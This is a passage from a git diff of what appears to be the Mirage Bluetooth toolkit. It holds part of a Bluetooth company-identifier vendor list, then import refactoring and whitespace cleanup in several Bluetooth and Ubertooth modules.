(ACECAD)", + "934": "Medela, Inc", + "935": "AeroScout", + "936": "Esrille Inc.", + "937": "THINKERLY SRL", + "938": "Exon Sp. z o.o.", + "939": "Meizu Technology Co., Ltd.", + "940": "Smablo LTD", + "941": "XiQ", + "942": "Allswell Inc.", + "943": "Comm-N-Sense Corp DBA Verigo", + "944": "VIBRADORM GmbH", + "945": "Otodata Wireless Network Inc.", + "946": "Propagation Systems Limited", + "947": "Midwest Instruments & Controls", + "948": "Alpha Nodus, inc.", + "949": "petPOMM, Inc", + "950": "Mattel", + "951": "Airbly Inc.", + "952": "A-Safe Limited", + "953": "FREDERIQUE CONSTANT SA", + "954": "Maxscend Microelectronics Company Limited", + "955": "Abbott Diabetes Care", + "956": "ASB Bank Ltd", + "957": "amadas", + "958": "Applied Science, Inc.", + "959": "iLumi Solutions Inc.", + "960": "Arch Systems Inc.", + "961": "Ember Technologies, Inc.", + "962": "Snapchat Inc", + "963": "Casambi Technologies Oy", + "964": "Pico Technology Inc.", + "965": "St. Jude Medical, Inc.", + "966": "Intricon", + "967": "Structural Health Systems, Inc.", + "968": "Avvel International", + "969": "Gallagher Group", + "970": "In2things Automation Pvt. Ltd.", + "971": "SYSDEV Srl", + "972": "Vonkil Technologies Ltd", + "973": "Wynd Technologies, Inc.", + "974": "CONTRINEX S.A.", + "975": "MIRA, Inc.", + "976": "Watteam Ltd", + "977": "Density Inc.", + "978": "IOT Pot India Private Limited", + "979": "Sigma Connectivity AB", + "980": "PEG PEREGO SPA", + "981": "Wyzelink Systems Inc.", + "982": "Yota Devices LTD", + "983": "FINSECUR", + "984": "Zen-Me Labs Ltd", + "985": "3IWare Co., Ltd.", + "986": "EnOcean GmbH", + "987": "Instabeat, Inc", + "988": "Nima Labs", + "989": "Andreas Stihl AG & Co. KG", + "990": "Nathan Rhoades LLC", + "991": "Grob Technologies, LLC", + "992": "Actions (Zhuhai) Technology Co., Limited", + "993": "SPD Development Company Ltd", + "994": "Sensoan Oy", + "995": "Qualcomm Life Inc", + "996": "Chip-ing AG", + "997": "ffly4u", + "998": "IoT Instruments Oy", + "999": "TRUE Fitness Technology", + "1000": "Reiner Kartengeraete GmbH & Co. KG.", + "1001": "SHENZHEN LEMONJOY TECHNOLOGY CO., LTD.", + "1002": "Hello Inc.", + "1003": "Evollve Inc.", + "1004": "Jigowatts Inc.", + "1005": "BASIC MICRO.COM,INC.", + "1006": "CUBE TECHNOLOGIES", + "1007": "foolography GmbH", + "1008": "CLINK", + "1009": "Hestan Smart Cooking Inc.", + "1010": "WindowMaster A/S", + "1011": "Flowscape AB", + "1012": "PAL Technologies Ltd", + "1013": "WHERE, Inc.", + "1014": "Iton Technology Corp.", + "1015": "Owl Labs Inc.", + "1016": "Rockford Corp.", + "1017": "Becon Technologies Co.,Ltd.", + "1018": "Vyassoft Technologies Inc", + "1019": "Nox Medical", + "1020": "Kimberly-Clark", + "1021": "Trimble Navigation Ltd.", + "1022": "Littelfuse", + "1023": "Withings", + "1024": "i-developer IT Beratung UG", + "1025": "", + "1026": "Sears Holdings Corporation", + "1027": "Gantner Electronic GmbH", + "1028": "Authomate Inc", + "1029": "Vertex International, Inc.", + "1030": "Airtago", + "1031": "Swiss Audio SA", + "1032": "ToGetHome Inc.", + "1033": "AXIS", + "1034": "Openmatics", + "1035": "Jana Care Inc.", + "1036": "Senix Corporation", + "1037": "NorthStar Battery Company, LLC", + "1038": "SKF (U.K.) Limited", + "1039": "CO-AX Technology, Inc.", + "1040": "Fender Musical Instruments", + "1041": "Luidia Inc", + "1042": "SEFAM", + "1043": "Wireless Cables Inc", + "1044": "Lightning Protection International Pty Ltd", + "1045": "Uber Technologies Inc", + "1046": "SODA GmbH", + "1047": "Fatigue Science", + "1048": "Alpine Electronics Inc.", + "1049": "Novalogy LTD", + "1050": "Friday Labs Limited", + "1051": "OrthoAccel Technologies", + "1052": "WaterGuru, Inc.", + "1053": "Benning Elektrotechnik und Elektronik GmbH & Co. KG", + "1054": "Dell Computer Corporation", + "1055": "Kopin Corporation", + "1056": "TecBakery GmbH", + "1057": "Backbone Labs, Inc.", + "1058": "DELSEY SA", + "1059": "Chargifi Limited", + "1060": "Trainesense Ltd.", + "1061": "Unify Software and Solutions GmbH & Co. KG", + "1062": "Husqvarna AB", + "1063": "Focus fleet and fuel management inc", + "1064": "SmallLoop, LLC", + "1065": "Prolon Inc.", + "1066": "BD Medical", + "1067": "iMicroMed Incorporated", + "1068": "Ticto N.V.", + "1069": "Meshtech AS", + "1070": "MemCachier Inc.", + "1071": "Danfoss A/S", + "1072": "SnapStyk Inc.", + "1073": "Amway Corporation", + "1074": "Silk Labs, Inc.", + "1075": "Pillsy Inc.", + "1076": "Hatch Baby, Inc.", + "1077": "Blocks Wearables Ltd.", + "1078": "Drayson Technologies (Europe) Limited", + "1079": "eBest IOT Inc.", + "1080": "Helvar Ltd", + "1081": "Radiance Technologies", + "1082": "Nuheara Limited", + "1083": "Appside co., ltd.", + "1084": "DeLaval", + "1085": "Coiler Corporation", + "1086": "Thermomedics, Inc.", + "1087": "Tentacle Sync GmbH", + "1088": "Valencell, Inc.", + "1089": "iProtoXi Oy", + "1090": "SECOM CO., LTD.", + "1091": "Tucker International LLC", + "1092": "Metanate Limited", + "1093": "Kobian Canada Inc.", + "1094": "NETGEAR, Inc.", + "1095": "Fabtronics Australia Pty Ltd", + "1096": "Grand Centrix GmbH", + "1097": "1UP USA.com llc", + "1098": "SHIMANO INC.", + "1099": "Nain Inc.", + "1100": "LifeStyle Lock, LLC", + "1101": "VEGA Grieshaber KG", + "1102": "Xtrava Inc.", + "1103": "TTS Tooltechnic Systems AG & Co. KG", + "1104": "Teenage Engineering AB", + "1105": "Tunstall Nordic AB", + "1106": "Svep Design Center AB", + "1107": "GreenPeak Technologies BV", + "1108": "Sphinx Electronics GmbH & Co KG", + "1109": "Atomation", + "1110": "Nemik Consulting Inc", + "1111": "RF INNOVATION", + "1112": "Mini Solution Co., Ltd.", + "1113": "Lumenetix, Inc", + "1114": "2048450 Ontario Inc", + "1115": "SPACEEK LTD", + "1116": "Delta T Corporation", + "1117": "Boston Scientific Corporation", + "1118": "Nuviz, Inc.", + "1119": "Real Time Automation, Inc.", + "1120": "Kolibree", + "1121": "vhf elektronik GmbH", + "1122": "Bonsai Systems GmbH", + "1123": "Fathom Systems Inc.", + "1124": "Bellman & Symfon", + "1125": "International Forte Group LLC", + "1126": "CycleLabs Solutions inc.", + "1127": "Codenex Oy", + "1128": "Kynesim Ltd", + "1129": "Palago AB", + "1130": "INSIGMA INC.", + "1131": "PMD Solutions", + "1132": "Qingdao Realtime Technology Co., Ltd.", + "1133": "BEGA Gantenbrink-Leuchten KG", + "1134": "Pambor Ltd.", + "1135": "Develco Products A/S", + "1136": "iDesign s.r.l.", + "1137": "TiVo Corp", + "1138": "Control-J Pty Ltd", + "1139": "Steelcase, Inc.", + "1140": "iApartment co., ltd.", + "1141": "Icom inc.", + "1142": "Oxstren Wearable Technologies Private Limited", + "1143": "Blue Spark Technologies", + "1144": "FarSite Communications Limited", + "1145": "mywerk system GmbH", + "1146": "Sinosun Technology Co., Ltd.", + "1147": "MIYOSHI ELECTRONICS CORPORATION", + "1148": "POWERMAT LTD", + "1149": "Occly LLC", + "1150": "OurHub Dev IvS", + "1151": "Pro-Mark, Inc.", + "1152": "Dynometrics Inc.", + "1153": "Quintrax Limited", + "1154": "POS Tuning Udo Vosshenrich GmbH & Co. KG", + "1155": "Multi Care Systems B.V.", + "1156": "Revol Technologies Inc", + "1157": "SKIDATA AG", + "1158": "DEV TECNOLOGIA INDUSTRIA, COMERCIO E MANUTENCAO DE EQUIPAMENTOS LTDA. - ME", + "1159": "Centrica Connected Home", + "1160": "Automotive Data Solutions Inc", + "1161": "Igarashi Engineering", + "1162": "Taelek Oy", + "1163": "CP Electronics Limited", + "1164": "Vectronix AG", + "1165": "S-Labs Sp. z o.o.", + "1166": "Companion Medical, Inc.", + "1167": "BlueKitchen GmbH", + "1168": "Matting AB", + "1169": "SOREX - Wireless Solutions GmbH", + "1170": "ADC Technology, Inc.", + "1171": "Lynxemi Pte Ltd", + "1172": "SENNHEISER electronic GmbH & Co. KG", + "1173": "LMT Mercer Group, Inc", + "1174": "Polymorphic Labs LLC", + "1175": "Cochlear Limited", + "1176": "METER Group, Inc. USA", + "1177": "Ruuvi Innovations Ltd.", + "1178": "Situne AS", + "1179": "nVisti, LLC", + "1180": "DyOcean", + "1181": "Uhlmann & Zacher GmbH", + "1182": "AND!XOR LLC", + "1183": "tictote AB", + "1184": "Vypin, LLC", + "1185": "PNI Sensor Corporation", + "1186": "ovrEngineered, LLC", + "1187": "GT-tronics HK Ltd", + "1188": "Herbert Waldmann GmbH & Co. KG", + "1189": "Guangzhou FiiO Electronics Technology Co.,Ltd", + "1190": "Vinetech Co., Ltd", + "1191": "Dallas Logic Corporation", + "1192": "BioTex, Inc.", + "1193": "DISCOVERY SOUND TECHNOLOGY, LLC", + "1194": "LINKIO SAS", + "1195": "Harbortronics, Inc.", + "1196": "Undagrid B.V.", + "1197": "Shure Inc", + "1198": "ERM Electronic Systems LTD", + "1199": "BIOROWER Handelsagentur GmbH", + "1200": "Weba Sport und Med. Artikel GmbH", + "1201": "Kartographers Technologies Pvt. Ltd.", + "1202": "The Shadow on the Moon", + "1203": "mobike (Hong Kong) Limited", + "1204": "Inuheat Group AB", + "1205": "Swiftronix AB", + "1206": "Diagnoptics Technologies", + "1207": "Analog Devices, Inc.", + "1208": "Soraa Inc.", + "1209": "CSR Building Products Limited", + "1210": "Crestron Electronics, Inc.", + "1211": "Neatebox Ltd", + "1212": "Draegerwerk AG & Co. KGaA", + "1213": "AlbynMedical", + "1214": "Averos FZCO", + "1215": "VIT Initiative, LLC", + "1216": "Statsports International", + "1217": "Sospitas, s.r.o.", + "1218": "Dmet Products Corp.", + "1219": "Mantracourt Electronics Limited", + "1220": "TeAM Hutchins AB", + "1221": "Seibert Williams Glass, LLC", + "1222": "Insta GmbH", + "1223": "Svantek Sp. z o.o.", + "1224": "Shanghai Flyco Electrical Appliance Co., Ltd.", + "1225": "Thornwave Labs Inc", + "1226": "Steiner-Optik GmbH", + "1227": "Novo Nordisk A/S", + "1228": "Enflux Inc.", + "1229": "Safetech Products LLC", + "1230": "GOOOLED S.R.L.", + "1231": "DOM Sicherheitstechnik GmbH & Co. KG", + "1232": "Olympus Corporation", + "1233": "KTS GmbH", + "1234": "Anloq Technologies Inc.", + "1235": "Queercon, Inc", + "1236": "5th Element Ltd", + "1237": "Gooee Limited", + "1238": "LUGLOC LLC", + "1239": "Blincam, Inc.", + "1240": "FUJIFILM Corporation", + "1241": "RandMcNally", + "1242": "Franceschi Marina snc", + "1243": "Engineered Audio, LLC.", + "1244": "IOTTIVE (OPC) PRIVATE LIMITED", + "1245": "4MOD Technology", + "1246": "Lutron Electronics Co., Inc.", + "1247": "Emerson", + "1248": "Guardtec, Inc.", + "1249": "REACTEC LIMITED", + "1250": "EllieGrid", + "1251": "Under Armour", + "1252": "Woodenshark", + "1253": "Avack Oy", + "1254": "Smart Solution Technology, Inc.", + "1255": "REHABTRONICS INC.", + "1256": "STABILO International", + "1257": "Busch Jaeger Elektro GmbH", + "1258": "Pacific Bioscience Laboratories, Inc", + "1259": "Bird Home Automation GmbH", + "1260": "Motorola Solutions", + "1261": "R9 Technology, Inc.", + "1262": "Auxivia", + "1263": "DaisyWorks, Inc", + "1264": "Kosi Limited", + "1265": "Theben AG", + "1266": "InDreamer Techsol Private Limited", + "1267": "Cerevast Medical", + "1268": "ZanCompute Inc.", + "1269": "Pirelli Tyre S.P.A.", + "1270": "McLear Limited", + "1271": "Shenzhen Huiding Technology Co.,Ltd.", + "1272": "Convergence Systems Limited", + "1273": "Interactio", + "1274": "Androtec GmbH", + "1275": "Benchmark Drives GmbH & Co. KG", + "1276": "SwingLync L. L. C.", + "1277": "Tapkey GmbH", + "1278": "Woosim Systems Inc.", + "1279": "Microsemi Corporation", + "1280": "Wiliot LTD.", + "1281": "Polaris IND", + "1282": "Specifi-Kali LLC", + "1283": "Locoroll, Inc", + "1284": "PHYPLUS Inc", + "1285": "Inplay Technologies LLC", + "1286": "Hager", + "1287": "Yellowcog", + "1288": "Axes System sp. z o. o.", + "1289": "myLIFTER Inc.", + "1290": "Shake-on B.V.", + "1291": "Vibrissa Inc.", + "1292": "OSRAM GmbH", + "1293": "TRSystems GmbH", + "1294": "Yichip Microelectronics (Hangzhou) Co.,Ltd.", + "1295": "Foundation Engineering LLC", + "1296": "UNI-ELECTRONICS, INC.", + "1297": "Brookfield Equinox LLC", + "1298": "Soprod SA", + "1299": "9974091 Canada Inc.", + "1300": "FIBRO GmbH", + "1301": "RB Controls Co., Ltd.", + "1302": "Footmarks", + "1303": "Amcore AB", + "1304": "MAMORIO.inc", + "1305": "Tyto Life LLC", + "1306": "Leica Camera AG", + "1307": "Angee Technologies Ltd.", + "1308": "EDPS", + "1309": "OFF Line Co., Ltd.", + "1310": "Detect Blue Limited", + "1311": "Setec Pty Ltd", + "1312": "Target Corporation", + "1313": "IAI Corporation", + "1314": "NS Tech, Inc.", + "1315": "MTG Co., Ltd.", + "1316": "Hangzhou iMagic Technology Co., Ltd", + "1317": "HONGKONG NANO IC TECHNOLOGIES CO., LIMITED", + "1318": "Honeywell International Inc.", + "1319": "Albrecht JUNG", + "1320": "Lunera Lighting Inc.", + "1321": "Lumen UAB", + "1322": "Keynes Controls Ltd", + "1323": "Novartis AG", + "1324": "Geosatis SA", + "1325": "EXFO, Inc.", + "1326": "LEDVANCE GmbH", + "1327": "Center ID Corp.", + "1328": "Adolene, Inc.", + "1329": "D&M Holdings Inc.", + "1330": "CRESCO Wireless, Inc.", + "1331": "Nura Operations Pty Ltd", + "1332": "Frontiergadget, Inc.", + "1333": "Smart Component Technologies Limited", + "1334": "ZTR Control Systems LLC", + "1335": "MetaLogics Corporation", + "1336": "Medela AG", + "1337": "OPPLE Lighting Co., Ltd", + "1338": "Savitech Corp.,", + "1339": "prodigy", + "1340": "Screenovate Technologies Ltd", + "1341": "TESA SA", + "1342": "CLIM8 LIMITED", + "1343": "Silergy Corp", + "1344": "SilverPlus, Inc", + "1345": "Sharknet srl", + "1346": "Mist Systems, Inc.", + "1347": "MIWA LOCK CO.,Ltd", + "1348": "OrthoSensor, Inc.", + "1349": "Candy Hoover Group s.r.l", + "1350": "Apexar Technologies S.A.", + "1351": "LOGICDATA d.o.o.", + "1352": "Knick Elektronische Messgeraete GmbH & Co. KG", + "1353": "Smart Technologies and Investment Limited", + "1354": "Linough Inc.", + "1355": "Advanced Electronic Designs, Inc.", + "1356": "Carefree Scott Fetzer Co Inc", + "1357": "Sensome", + "1358": "FORTRONIK storitve d.o.o.", + "1359": "Sinnoz", + "1360": "Versa Networks, Inc.", + "1361": "Sylero", + "1362": "Avempace SARL", + "1363": "Nintendo Co., Ltd.", + "1364": "National Instruments", + "1365": "KROHNE Messtechnik GmbH", + "1366": "Otodynamics Ltd", + "1367": "Arwin Technology Limited", + "1368": "benegear, inc.", + "1369": "Newcon Optik", + "1370": "CANDY HOUSE, Inc.", + "1371": "FRANKLIN TECHNOLOGY INC", + "1372": "Lely", + "1373": "Valve Corporation", + "1374": "Hekatron Vertriebs GmbH", + "1375": "PROTECH S.A.S. DI GIRARDI ANDREA & C.", + "1376": "Sarita CareTech IVS", + "1377": "Finder S.p.A.", + "1378": "Thalmic Labs Inc.", + "1379": "Steinel Vertrieb GmbH", + "1380": "Beghelli Spa", + "1381": "Beijing Smartspace Technologies Inc.", + "1382": "CORE TRANSPORT TECHNOLOGIES NZ LIMITED", + "1383": "Xiamen Everesports Goods Co., Ltd", + "1384": "Bodyport Inc.", + "1385": "Audionics System, INC.", + "1386": "Flipnavi Co.,Ltd.", + "1387": "Rion Co., Ltd.", + "1388": "Long Range Systems, LLC", + "1389": "Redmond Industrial Group LLC", + "1390": "VIZPIN INC.", + "1391": "BikeFinder AS", + "1392": "Consumer Sleep Solutions LLC", + "1393": "PSIKICK, INC.", + "1394": "AntTail.com", + "1395": "Lighting Science Group Corp.", + "1396": "AFFORDABLE ELECTRONICS INC", + "1397": "Integral Memroy Plc", + "1398": "Globalstar, Inc.", + "1399": "True Wearables, Inc.", + "1400": "Wellington Drive Technologies Ltd", + "1401": "Ensemble Tech Private Limited", + "1402": "OMNI Remotes", + "1403": "Duracell U.S. Operations Inc.", + "1404": "Toor Technologies LLC", + "1405": "Instinct Performance", + "1406": "Beco, Inc", + "1407": "Scuf Gaming International, LLC", + "1408": "ARANZ Medical Limited", + "1409": "LYS TECHNOLOGIES LTD", + "1410": "Breakwall Analytics, LLC", + "1411": "Code Blue Communications", + "1412": "Gira Giersiepen GmbH & Co. KG", + "1413": "Hearing Lab Technology", + "1414": "LEGRAND", + "1415": "Derichs GmbH", + "1416": "ALT-TEKNIK LLC", + "1417": "Star Technologies", + "1418": "START TODAY CO.,LTD.", + "1419": "Maxim Integrated Products", + "1420": "MERCK Kommanditgesellschaft auf Aktien", + "1421": "Jungheinrich Aktiengesellschaft", + "1422": "Oculus VR, LLC", + "1423": "HENDON SEMICONDUCTORS PTY LTD", + "1424": "Pur3 Ltd", + "1425": "Viasat Group S.p.A.", + "1426": "IZITHERM", + "1427": "Spaulding Clinical Research", + "1428": "Kohler Company", + "1429": "Inor Process AB", + "1430": "My Smart Blinds", + "1431": "RadioPulse Inc", + "1432": "rapitag GmbH", + "1433": "Lazlo326, LLC.", + "1434": "Teledyne Lecroy, Inc.", + "1435": "Dataflow Systems Limited", + "1436": "Macrogiga Electronics", + "1437": "Tandem Diabetes Care", + "1438": "Polycom, Inc.", + "1439": "Fisher & Paykel Healthcare", + "1440": "RCP Software Oy", + "1441": "Shanghai Xiaoyi Technology Co.,Ltd.", + "1442": "ADHERIUM(NZ) LIMITED", + "1443": "Axiomware Systems Incorporated", + "1444": "O. E. M. Controls, Inc.", + "1445": "Kiiroo BV", + "1446": "Telecon Mobile Limited", + "1447": "Sonos Inc", + "1448": "Tom Allebrandi Consulting", + "1449": "Monidor", + "1450": "Tramex Limited", + "1451": "Nofence AS", + "1452": "GoerTek Dynaudio Co., Ltd.", + "1453": "INIA", + "1454": "CARMATE MFG.CO.,LTD", + "1455": "ONvocal", + "1456": "NewTec GmbH", + "1457": "Medallion Instrumentation Systems", + "1458": "CAREL INDUSTRIES S.P.A.", + "1459": "Parabit Systems, Inc.", + "1460": "White Horse Scientific ltd", + "1461": "verisilicon", + "1462": "Elecs Industry Co.,Ltd.", + "1463": "Beijing Pinecone Electronics Co.,Ltd.", + "1464": "Ambystoma Labs Inc.", + "1465": "Suzhou Pairlink Network Technology", + "1466": "igloohome", + "1467": "Oxford Metrics plc", + "1468": "Leviton Mfg. Co., Inc.", + "1469": "ULC Robotics Inc.", + "1470": "RFID Global by Softwork SrL", + "1471": "Real-World-Systems Corporation", + "1472": "Nalu Medical, Inc.", + "1473": "P.I.Engineering", + "1474": "Grote Industries", + "1475": "Runtime, Inc.", + "1476": "Codecoup sp. z o.o. sp. k.", + "1477": "SELVE GmbH & Co. KG", + "1478": "Smart Animal Training Systems, LLC", + "1479": "Lippert Components, INC", + "1480": "SOMFY SAS", + "1481": "TBS Electronics B.V.", + "1482": "MHL Custom Inc", + "1483": "LucentWear LLC", + "1484": "WATTS ELECTRONICS", + "1485": "RJ Brands LLC", + "1486": "V-ZUG Ltd", + "1487": "Biowatch SA", + "1488": "Anova Applied Electronics", + "1489": "Lindab AB", + "1490": "frogblue TECHNOLOGY GmbH", + "1491": "Acurable Limited", + "1492": "LAMPLIGHT Co., Ltd.", + "1493": "TEGAM, Inc.", + "1494": "Zhuhai Jieli technology Co.,Ltd", + "1495": "modum.io AG", + "1496": "Farm Jenny LLC", + "1497": "Toyo Electronics Corporation", + "1498": "Applied Neural Research Corp", + "1499": "Avid Identification Systems, Inc.", + "1500": "Petronics Inc.", + "1501": "essentim GmbH", + "1502": "QT Medical INC.", + "1503": "VIRTUALCLINIC.DIRECT LIMITED", + "1504": "Viper Design LLC", + "1505": "Human, Incorporated", + "1506": "stAPPtronics GmbH", + "1507": "Elemental Machines, Inc.", + "1508": "Taiyo Yuden Co., Ltd", + "1509": "INEO ENERGY& SYSTEMS", + "1510": "Motion Instruments Inc.", + "1511": "PressurePro", + "1512": "COWBOY", + "1513": "iconmobile GmbH", + "1514": "ACS-Control-System GmbH", + "1515": "Bayerische Motoren Werke AG", + "1516": "Gycom Svenska AB", + "1517": "Fuji Xerox Co., Ltd", + "1518": "Glide Inc.", + "1519": "SIKOM AS", + "1520": "beken", + "1521": "The Linux Foundation", + "1522": "Try and E CO.,LTD.", + "1523": "SeeScan", + "1524": "Clearity, LLC", + "1525": "GS TAG", + "1526": "DPTechnics", + "1527": "TRACMO, INC.", + "1528": "Anki Inc.", + "1529": "Hagleitner Hygiene International GmbH", + "1530": "Konami Sports Life Co., Ltd.", + "1531": "Arblet Inc.", + "1532": "Masbando GmbH", + "1533": "Innoseis", + "1534": "Niko", + "1535": "Wellnomics Ltd", + "1536": "iRobot Corporation", + "1537": "Schrader Electronics", + "1538": "Geberit International AG", + "1539": "Fourth Evolution Inc", + "1540": "Cell2Jack LLC", + "1541": "FMW electronic Futterer u. Maier-Wolf OHG", + "1542": "John Deere", + "1543": "Rookery Technology Ltd", + "1544": "KeySafe-Cloud", + "1545": "BUCHI Labortechnik AG", + "1546": "IQAir AG", + "1547": "Triax Technologies Inc", + "1548": "Vuzix Corporation", + "1549": "TDK Corporation", + "1550": "Blueair AB", + "1551": "Philips Lighting B.V.", + "1552": "ADH GUARDIAN USA LLC", + "1553": "Beurer GmbH", + "1554": "Playfinity AS", + "1555": "Hans Dinslage GmbH", + "1556": "OnAsset Intelligence, Inc.", + "1557": "INTER ACTION Corporation", + "1558": "OS42 UG (haftungsbeschraenkt)", + "1559": "WIZCONNECTED COMPANY LIMITED", + "1560": "Audio-Technica Corporation", + "1561": "Six Guys Labs, s.r.o.", + "1562": "R.W. Beckett Corporation", + "1563": "silex technology, inc.", + "1564": "Univations Limited", + "1565": "SENS Innovation ApS", + "1566": "Diamond Kinetics, Inc.", + "1567": "Phrame Inc.", + "1568": "Forciot Oy", + "1569": "Noordung d.o.o.", + "1570": "Beam Labs, LLC", + "1571": "Philadelphia Scientific (U.K.) Limited", + "1572": "Biovotion AG", + "1573": "Square Panda, Inc.", + "1574": "Amplifico", + "1575": "WEG S.A.", + "1576": "Ensto Oy", + "1577": "PHONEPE PVT LTD", + "1578": "Lunatico Astronomia SL", + "1579": "MinebeaMitsumi Inc.", + "1580": "ASPion GmbH", + "1581": "Vossloh-Schwabe Deutschland GmbH", + "1582": "Procept", + "1583": "ONKYO Corporation", + "1584": "Asthrea D.O.O.", + "1585": "Fortiori Design LLC", + "1586": "Hugo Muller GmbH & Co KG", + "1587": "Wangi Lai PLT", + "1588": "Fanstel Corp", + "1589": "Crookwood" } diff --git a/mirage/libs/bt_utils/hciconfig.py b/mirage/libs/bt_utils/hciconfig.py index f7221f0..2ae6ce4 100644 --- a/mirage/libs/bt_utils/hciconfig.py +++ b/mirage/libs/bt_utils/hciconfig.py @@ -1,5 +1,6 @@ -from fcntl import ioctl import socket +from fcntl import ioctl + class HCIConfig(object): ''' diff --git a/mirage/libs/bt_utils/packets.py b/mirage/libs/bt_utils/packets.py index 6d5e7f6..6621c14 100644 --- a/mirage/libs/bt_utils/packets.py +++ b/mirage/libs/bt_utils/packets.py @@ -1,11 +1,11 @@ -from mirage.libs import wireless +from mirage.libs.wireless_utils.packets import Packet ''' This module contains Mirage Packets for the Bluetooth protocol. ''' PSM_PROTOCOLS = {1: "SDP", 3: "RFCOMM", 5: "telephony control"} -class BluetoothPacket(wireless.Packet): +class BluetoothPacket(Packet): ''' Mirage Bluetooth Packet ''' @@ -300,9 +300,9 @@ class BluetoothL2CAPConnectionRequest(BluetoothPacket): .. note:: This class implements an automatic behaviour in order to select the right protocol : - * If PSM is provided, the protocol field is set according to its value - * If PSM is not provided, the protocol field is used to choose the protocol and the PSM field is set to the right value - * If PSM and protocol are not provided, the SDP protocol is automatically selected + * If PSM is provided, the protocol field is set according to its value + * If PSM is not provided, the protocol field is used to choose the protocol and the PSM field is set to the right value + * If PSM and protocol are not provided, the SDP protocol is automatically selected ''' def __init__(self,psm=None, protocol=None, scid=0x0040,connectionHandle=-1): super().__init__() diff --git a/mirage/libs/bt_utils/scapy_layers.py b/mirage/libs/bt_utils/scapy_layers.py index c859bca..f49ce9d 100644 --- a/mirage/libs/bt_utils/scapy_layers.py +++ b/mirage/libs/bt_utils/scapy_layers.py @@ -1,8 +1,33 @@ -from scapy.all import * ''' This module contains some scapy definitions for Bluetooth protocol. Some of them have been recently included in the latest scapy development version, these changes will be taken into account soon. ''' +import struct + +from scapy.fields import BitEnumField, \ + ByteEnumField, \ + ByteField, \ + ConditionalField, \ + FieldListField, \ + IntField, \ + LEShortField, \ + LongField, \ + PacketListField, \ + ShortEnumField, \ + ShortField, \ + SignedIntField, \ + SignedShortField, \ + StrField, \ + StrFixedLenField, \ + StrLenField, \ + StrNullField, \ + ThreeBytesField, \ + XLEIntField, \ + XLELongField, \ + XLEShortField, \ + XShortField +from scapy.layers.bluetooth import EIR_Hdr, HCI_Command_Hdr, HCI_Event_Command_Complete, HCI_Event_Hdr, L2CAP_Hdr, LEMACField +from scapy.packet import Packet, bind_layers bluetooth_error_codes = { 0x01 : "Unknown HCI Command.", diff --git a/mirage/libs/bt_utils/scapy_ubertooth_layers.py b/mirage/libs/bt_utils/scapy_ubertooth_layers.py index 7c50f9c..7fb0e16 100644 --- a/mirage/libs/bt_utils/scapy_ubertooth_layers.py +++ b/mirage/libs/bt_utils/scapy_ubertooth_layers.py @@ -1,8 +1,22 @@ -from scapy.all import * -from mirage.libs.bt_utils.constants import * + ''' This module contains some scapy definitions for communicating with an Ubertooth device. ''' +import struct + +from scapy.fields import ByteEnumField, \ + ByteField, \ + LEIntField, \ + LEShortField, \ + LEX3BytesField, \ + ShortField, \ + SignedByteField, \ + XByteField, \ + XLEIntField +from scapy.layers.bluetooth4LE import BTLE +from scapy.packet import Packet, bind_layers + +from mirage.libs.bt_utils.constants import UBERTOOTH_PACKET_TYPES ACCESS_ADDRESS_SIZE = 4 HEADER_SIZE = 2 @@ -33,10 +47,11 @@ def pre_dissect(self,s): class BTLE_Promiscuous_Data(Packet): name = "BTLE Promiscuous Data" fields_desc = [ - ByteEnumField("state",None,{0x00 : "access_address", - 0x01 : "crc_init", - 0x02 : "hop_interval", - 0x03 : "hop_increment"}) + ByteEnumField("state",None,{ + 0x00 : "access_address", + 0x01 : "crc_init", + 0x02 : "hop_interval", + 0x03 : "hop_increment"}) ] class BTLE_Promiscuous_Access_Address(Packet): diff --git a/mirage/libs/bt_utils/scapy_vendor_specific.py b/mirage/libs/bt_utils/scapy_vendor_specific.py index 6611ef9..f11c64c 100644 --- a/mirage/libs/bt_utils/scapy_vendor_specific.py +++ b/mirage/libs/bt_utils/scapy_vendor_specific.py @@ -1,12 +1,15 @@ from scapy.all import Packet -from scapy.layers.bluetooth import * +from scapy.fields import ByteEnumField, ByteField, LEShortField, StrField +from scapy.layers.bluetooth import HCI_Command_Hdr, HCI_Event_Command_Complete, LEMACField +from scapy.packet import bind_layers + ''' This module contains some scapy definitions defining some vendor specific HCI packets in order to change the BD Address. ''' COMPATIBLE_VENDORS = [0,10,13,15,18,48,57] - # Packets - # Read Local Version Information, Command & Event +# Packets +# Read Local Version Information, Command & Event class HCI_Cmd_Read_Local_Version_Information(Packet): name = "Read Local Version Information" diff --git a/mirage/libs/bt_utils/ubertooth.py b/mirage/libs/bt_utils/ubertooth.py index 2078a66..b435f9e 100644 --- a/mirage/libs/bt_utils/ubertooth.py +++ b/mirage/libs/bt_utils/ubertooth.py @@ -1,10 +1,29 @@ -from mirage.libs.bt_utils.scapy_ubertooth_layers import * -from mirage.libs import io,wireless,utils -from threading import Lock -import usb.core,usb.util,struct,array +import array +import struct from fcntl import ioctl +from threading import Lock -class BtUbertoothDevice(wireless.Device): +import usb.core +import usb.util + +from mirage.libs import io, utils +from mirage.libs.bt_utils.constants import CTRL_IN, \ + CTRL_OUT, \ + MOD_BT_LOW_ENERGY, \ + UBERTOOTH_GET_MOD, \ + UBERTOOTH_GET_SERIAL, \ + UBERTOOTH_ID_PRODUCT, \ + UBERTOOTH_ID_VENDOR, \ + UBERTOOTH_RESET, \ + UBERTOOTH_SET_CLOCK, \ + UBERTOOTH_SET_CRC_VERIFY, \ + UBERTOOTH_SET_MOD, \ + UBERTOOTH_STOP, \ + USBDEVFS_RESET +from mirage.libs.wireless_utils.device import Device + + +class BtUbertoothDevice(Device): ''' This device allows to communicate with an Ubertooth Device in order to use Bluetooth protocol. The corresponding interfaces are : ``ubertoothX`` (e.g. "ubertooth0") @@ -149,7 +168,7 @@ def init(self): try: self.ubertooth = list( usb.core.find(idVendor=UBERTOOTH_ID_VENDOR, idProduct=UBERTOOTH_ID_PRODUCT, find_all=True) - )[self.index] + )[self.index] self.version = '{0:x}.{1:x}'.format((self.ubertooth.bcdDevice >> 8) & 0x0FF,self.ubertooth.bcdDevice & 0x0FF) except: diff --git a/mirage/libs/common/hid.py b/mirage/libs/common/hid.py index 0fe0533..ea927ab 100644 --- a/mirage/libs/common/hid.py +++ b/mirage/libs/common/hid.py @@ -1,5 +1,3 @@ -from mirage.libs import io - class HIDMapping: ''' This class provides some helpers functions to manipulate the HID protocol. diff --git a/mirage/libs/esb.py b/mirage/libs/esb.py index 13ede87..62d6066 100644 --- a/mirage/libs/esb.py +++ b/mirage/libs/esb.py @@ -1,24 +1,42 @@ -from scapy.all import * -from mirage.core.module import WirelessModule -from 